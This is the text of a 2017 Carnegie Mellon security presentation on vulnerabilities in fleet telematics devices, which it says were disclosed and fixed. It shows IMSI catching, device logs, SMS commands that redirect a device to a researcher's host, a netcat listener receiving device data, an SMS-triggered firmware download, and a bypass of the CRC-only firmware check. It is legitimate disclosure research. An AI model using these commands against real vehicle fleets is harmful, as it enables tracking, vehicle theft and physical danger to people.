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Disclaimers

1. Vulnerability note has been published.
2. Vulnerabilities and issues have been fixed.
3. All of this information is in publicly available documents.
4. All vendors were very responsive

1. Complex supply chain
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What Are Fleet Telematics?
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Lots of Organizations use Fleets of Vehicles

1. Long haul trucking
2. Local delivery
3. Law Enforcement / Public Safety
4. Service Providers / Contractors
5. Municipal
6. Military
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Tracking plus other functions

1. Map
You are here
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Cheap OBD-II Devices
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Cheap Hardwired Devices



DM17-0335
All Your Fleet Are Belong To Us
June 9, 2017
© 2017 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been approved for public release and unlimited 
distribution.  Please see Copyright notice for non-US Government use and distribution.

© 2016 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been 
approved for public release and unlimited distribution

Methodology
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Common Vulnerabilities

1. Weak or no authentication
2. No comms encryption
3. Unsigned firmware updates
4. They’re basically a root backdoor to your car!
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Known vulnerabilities in cellular

1. Older protocols don’t authenticate tower / base station
2. Almost all devices can be told to degrade to older protocol
3. Weak / no encryption
4. Location tracking (even in LTE.)
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IMSI Catcher / Stingray
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Our cellular lab
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Linux
-OpenBTS
-Asterisk
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OpenBTS
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OpenBTS

IMSI Phone
Number
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Getting The Phone Number

1. Read the IMSI off of the SIM
OR

1. Sniff the IMSI with OpenBTS

2. From the IMSI:
3104104125551234

310    410      4125551234

MCC MNC MSISDN (Phone Number!)

…if you’re lucky.
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Mobile Number Portability

• MNP breaks the IMSI <-> MSISDN mapping.
• I’ve only run across this once.
• You can pay to look up IMSI -> MSISDN
• Worst case: War texting.
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Dissecting a device
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Serial Traffic
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Serial Traffic On An Oscilloscope



DM17-0335
All Your Fleet Are Belong To Us
June 9, 2017
© 2017 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been approved for public release and unlimited 
distribution.  Please see Copyright notice for non-US Government use and distribution.

Boot
app[0:0:02:26] Boot Reason: Cold
app[0:0:02:26] ESN: 4562083617
app[0:0:02:30] PORT OPEN  8:GPS Rcvr 5:GPS        
115200  8/N/1
app[0:0:02:30] ASSIST: Init
app[0:0:02:30] GPS Restart
app[0:0:02:31]  Init, BootReason=0
app[0:0:02:34]  earliestBlock=0, latestBlock=0, 
next_seq=0x1
app[0:0:02:34]  First block: 0, Last block: 0
app[0:0:02:34] FindFirstFree: Block=0 Offset=0x8
app[0:0:02:35]  Found free space in block: 0
app[0:0:02:35]  WritePosition - Block 0, Offset 8
app[0:0:02:35] FindFirstUnread: Block=0 Offset=0x0
app[0:0:02:35] FindReadPos-LastBlk, 
NoUnreadRecords
app[0:0:02:35] COMM: Start route(0) log(0) 
modem(38)
app[0:0:02:35] MODEM: Serial Port Initialized
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Boot
app[15:26:54] MPORT: Serial Port to 115200
app[15:26:54] MODEM: Send Cmd: ATE0V1
app[15:26:54] MODEM: Rcv Resp: ATE0V1
app[15:26:54] MODEM: Rcv Resp: OK
app[0:2:04:49] MDM2: Send Cmd: AT+CNUM
app[0:2:04:59] MDM2: Rcv Resp: +CNUM: 
"","15002474003",129

app[0:2:04:70] MDM2: Rcv Resp: +CNUM: "","",0
app[0:2:04:80] MDM2: Rcv Resp: +CNUM: "","",0
app[0:2:04:91] MDM2: Rcv Resp: +CNUM: "","",0
app[0:2:04:92] MDM2: Rcv Resp: OK
app[0:2:04:92] MDM2: Send Cmd: AT+CIMI
app[0:2:04:92] MDM2: Rcv Resp: 310410819789453
app[0:2:04:92] MDM2: Rcv Resp: OK
app[0:2:04:93] MDM2: Send Cmd: AT+CMGF=1
app[0:2:04:93] MDM2: Rcv Resp: OK
app[0:2:04:93] MDM2: Send Cmd: AT+UBANDSEL?
app[0:2:04:94] MDM2: Rcv Resp: +UBANDSEL: 
2100,1900,1700,850,800,900
Thu 17 Dec 2015 DOY=351, tz=-20
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Boot
app[15:22:56] PPP0:   Option> Addr 166.214.30.225
app[15:22:56] PPP0:   Option> PriDNS 209.183.35.23
app[15:22:56] PPP0:   Option> SecDNS
209.183.33.23
app[15:22:56] PPP0: IPCP Opened
app[15:22:56] GSM: ConnFSM E=12, S=5
COMM CONNECTED 0
app[15:22:56] DNS: #0:0 Lookup "216.177.93.246”
app[15:22:56] DNS: #0:1 Lookup "128.237.xxx.xxx”
app[15:22:56] ASSIST: Starting Download
144.89.34.195
cmd=full;user=AGPS@*****.com;pwd=******;lat=4
0.4447858;lon=-79.9472966;pacc=1000;latency=1.3;



DM17-0335
All Your Fleet Are Belong To Us
June 9, 2017
© 2017 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been approved for public release and unlimited 
distribution.  Please see Copyright notice for non-US Government use and distribution.

Serial Traffic on the PCB
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Serial Traffic on the PCB
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Serial Traffic on the PCB
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Serial Traffic On An Oscilloscope
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Serial Traffic On An Oscilloscope
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Logic Analyzer
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Logic Analyzer
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Logic Analyzer
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That’s not so bad, is it?
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SMS (Security Mangling Service)
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SMS (Security Mangling Service)

It can’t be *that* easy, can it??
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It’s that easy.
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But are you able to *write* to it, Dan?
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But are you able to *write* to it, Dan?

Yes. Yes I am.



DM17-0335
All Your Fleet Are Belong To Us
June 9, 2017
© 2017 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been approved for public release and unlimited 
distribution.  Please see Copyright notice for non-US Government use and distribution.

Simple SMS config commands

!R1,2314,0,username

!R1,2314,0,password

!R1,2319,0,128.237.xxx.xxx     Add IP address that’s allowed to connect

!R1,769,0,20500  Port it listens on

Cool!

But I really want an IP connection…
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The carriers block inbound access, but... 
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The carriers block inbound access. 
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Configure Device

!RC
-88 DA. 100.106.139.16 20510
M: 128.237.203.84 20501
I: 172.25.40.123 20500
!RP?2311,0
2311,0,20501 OK
!R1,2322,0,78
!RP?2322,0
2322,0,78 OK
!R1,2310,0,2163063420
!RC
-87 DA. 100.106.139.16 20510
M: 128.237.186.124 20501
I: 72.25.40.123 20500
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Configure Device

!RC
-88 DA. 100.106.139.16 20510
M: 128.237.203.84 20501
I: 172.25.40.123 20500
!RP?2311,0
2311,0,20501 OK
!R1,2322,0,78
!RP?2322,0
2322,0,78 OK
!R1,2310,0,2163063420
!RC
-87 DA. 100.106.139.16 20510
M: 128.237.186.124 20501
I: 72.25.40.123 20500
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Good ole netcat

root@debian:~# nc -u -l -p 20501

�EB"eEB"e �50�EB"e
�����������1�g�D?X�y�C�������

������MEID:270113185602585855PRI:59513OTA:1|0;0,1,9,1
1,15|4;0,4OTASTAT:0,0,0,0,0,""VBUSERR:4,0VIN-INFO:VIN=,DEV-
REGN=US,SRVR-REGN=??FTBL:0,0,419B|0,1,DB6A
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dklinedi@debian:~$ hd calamp_packet.bin
80 00 07 aa aa 02 00 00  00 00 00 00 00 
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Good ole netcat
root@debian:~# nc -u -l -p 20501 < 
~dklinedi/calamp_packet.bin

�EB"eEB"e �50�EB"e
�����������1�g�D?X�y�C����

���������MEID:270113185602585855PRI:59513O
TA:1|0;0,1,9,11,15|4;0,4OTASTAT:0,0,0,0,0,""VBUSERR:4,0VIN-
INFO:VIN=,DEV-REGN=US,SRVR-
REGN=??FTBL:0,0,419B|0,1,DB6A

�EB"e��Y(hz
o�APP:LMU,197 V5.0g (Dec 21 2016 18:07:21) 
PIC:STM S/N 4542226509 
GPS:UBLOX-00070000 -1.00 (59842) 
Radio:u-blox LISA-C200-E0.V.05.00.03R^C
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Almost there…

• We have admin access via SMS or UDP

BUT

• The CAN messages the device will send 
are hardcoded, e.g.

• 7E0 01 0D (Get current speed)
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Can we modify the firmware?
screenlog.10:app[15:23:57] SMS: Rcv +14128974337->"!R8 
36a http://128.237.xxx.xxx/dnld/lmu-153-36a.jar”

screenlog.10:app[15:23:57] DNLD_App: URL: 
http://128.237.xxx.xxx/dnld/lmu-153-36a.jar
screenlog.10:app[15:24:07] HTTP: Starting Download
screenlog.10:app[15:24:07] HTTP: Opening Connection
screenlog.10:app[15:24:27] MDM2: Rcv Resp: !R8 36a 
http://128.237.xxx.xxx/dnld/lmu-153-36a.jar
screenlog.10:app[15:24:59] HTTP: Connection established
screenlog.10:app[15:24:59] GET //dnld/LMU-HSPA-153-
36a.bin HTTP/1.1
screenlog.10:app[15:25:00] HTTP: 200 OK
screenlog.10:app[15:25:00] HTTP: Content-Length = 277834

http://128.237.187.172/dnld/lmu-153-36a.jar
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Can we modify the firmware?
screenlog.10:app[15:23:57] SMS: Rcv +14128974337->"!R8 
36a http://128.237.187.172/dnld/lmu-153-36a.jar”

screenlog.10:app[15:23:57] DNLD_App: URL: 
http://128.237.xxx.xxx/dnld/lmu-153-36a.jar
screenlog.10:app[15:24:07] HTTP: Starting Download
screenlog.10:app[15:24:07] HTTP: Opening Connection
screenlog.10:app[15:24:27] MDM2: Rcv Resp: !R8 36a 
http://128.237.xxx.xxx/dnld/lmu-153-36a.jar
screenlog.10:app[15:24:59] HTTP: Connection established
screenlog.10:app[15:24:59] GET //dnld/LMU-HSPA-153-
36a.bin HTTP/1.1
screenlog.10:app[15:25:00] HTTP: 200 OK
screenlog.10:app[15:25:00] HTTP: Content-Length = 277834

!R8 36a http://128.237.187.172/dnld/lmu-153-
36a.jar

http://128.237.187.172/dnld/lmu-153-36a.jar
http://128.237.187.172/dnld/lmu-153-36a.jar
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Can we modify the firmware?
screenlog.10:app[15:23:57] SMS: Rcv +14128974337->"!R8 
36a http://128.237.187.172/dnld/lmu-153-36a.jar”

screenlog.10:app[15:23:57] DNLD_App: URL: 
http://128.237.xxx.xxx/dnld/lmu-153-36a.jar
screenlog.10:app[15:24:07] HTTP: Starting Download
screenlog.10:app[15:24:07] HTTP: Opening Connection
screenlog.10:app[15:24:27] MDM2: Rcv Resp: !R8 36a 
http://128.237.xxx.xxx/dnld/lmu-153-36a.jar
screenlog.10:app[15:24:59] HTTP: Connection established
screenlog.10:app[15:24:59] GET //dnld/LMU-HSPA-153-
36a.bin HTTP/1.1
screenlog.10:app[15:25:00] HTTP: 200 OK
screenlog.10:app[15:25:00] HTTP: Content-Length = 277834

http://128.237.187.172/dnld/lmu-153-36a.jar
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Can we modify the firmware?



DM17-0335
All Your Fleet Are Belong To Us
June 9, 2017
© 2017 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been approved for public release and unlimited 
distribution.  Please see Copyright notice for non-US Government use and distribution.

Can we modify the firmware?
The binary looked too non-random at each end to have a 
signature but modifying it caused an error:

app[18:28:09] DNLD_Process: Image CRC Failure

dklinedi@debian:~$ ./crc_dd.py LMU-HSPA-153-36a.bin
Test succeeded!
CRC16 of LMU minus 2 bytes from end = C16B
c16b

dklinedi@debian:~$ hd LMU-HSPA-153-36a.bin |tail -3
00043d30  1a b4 04 1a d0 04 1a e0  04 1a e8 04 1a a8 04 01  
00043d40  15 09 16 71 f1 00 00 00  c1 6b                    |...q.....k|



DM17-0335
All Your Fleet Are Belong To Us
June 9, 2017
© 2017 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been approved for public release and unlimited 
distribution.  Please see Copyright notice for non-US Government use and distribution.

Can we modify the firmware?

screenlog.10:Copyright (c) 1999-2013 CalAmp Corp.

00042050  69 6e 67 00 55 6e 6b 6e  6f 77 6e 00 43 6f 70 79  |ing.Unknown.Copy|
00042060  72 69 67 68 74 20 28 63  29 20 31 39 39 39 2d 32  |right (c) 1999-2|
00042070  30 31 33 20 43 61 6c 41  6d 70 20 43 6f 72 70 2e  |013 CalAmp Corp.|
->
00042050  69 6e 67 00 55 6e 6b 6e  6f 77 6e 00 43 6f 70 79  |ing.Unknown.Copy|
00042060  6c 65 66 74 21 20 28 63  29 20 31 39 39 39 2d 32  |left! (c) 1999-2|
00042070  30 31 33 20 43 61 6c 41  6d 70 20 43 6f 72 70 2e  |013 CalAmp Corp.|

screenlog.10:app[19:44:02] DNLD_Process: Image CRC Passed
...
screenlog.10:Copyleft! (c) 1999-2013 CalAmp Corp.
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If we can modify the firmware, we can do…



DM17-0335
All Your Fleet Are Belong To Us
June 9, 2017
© 2017 Carnegie Mellon University
[DISTRIBUTION STATEMENT A] This material has been approved for public release and unlimited 
distribution.  Please see Copyright notice for non-US Government use and distribution.

If we can modify the firmware, we can do…

ANYTHING!
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Specifically, an attacker could…

• Track police cars in real time
• Collect a competitor’s routes and customers
• Eavesdrop on the occupants of vehicles
• DOS a fleet of vehicles
• Unlock and/or steal vehicles
• Cause traffic jams
• Cause crashes
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Morals

• If you’re using fleet telematics, your vehicles are now 
part of your corporate network.

• In a complex supply chain, simple vulnerabilities can 
slip through because everyone thinks someone else 
took care of it.
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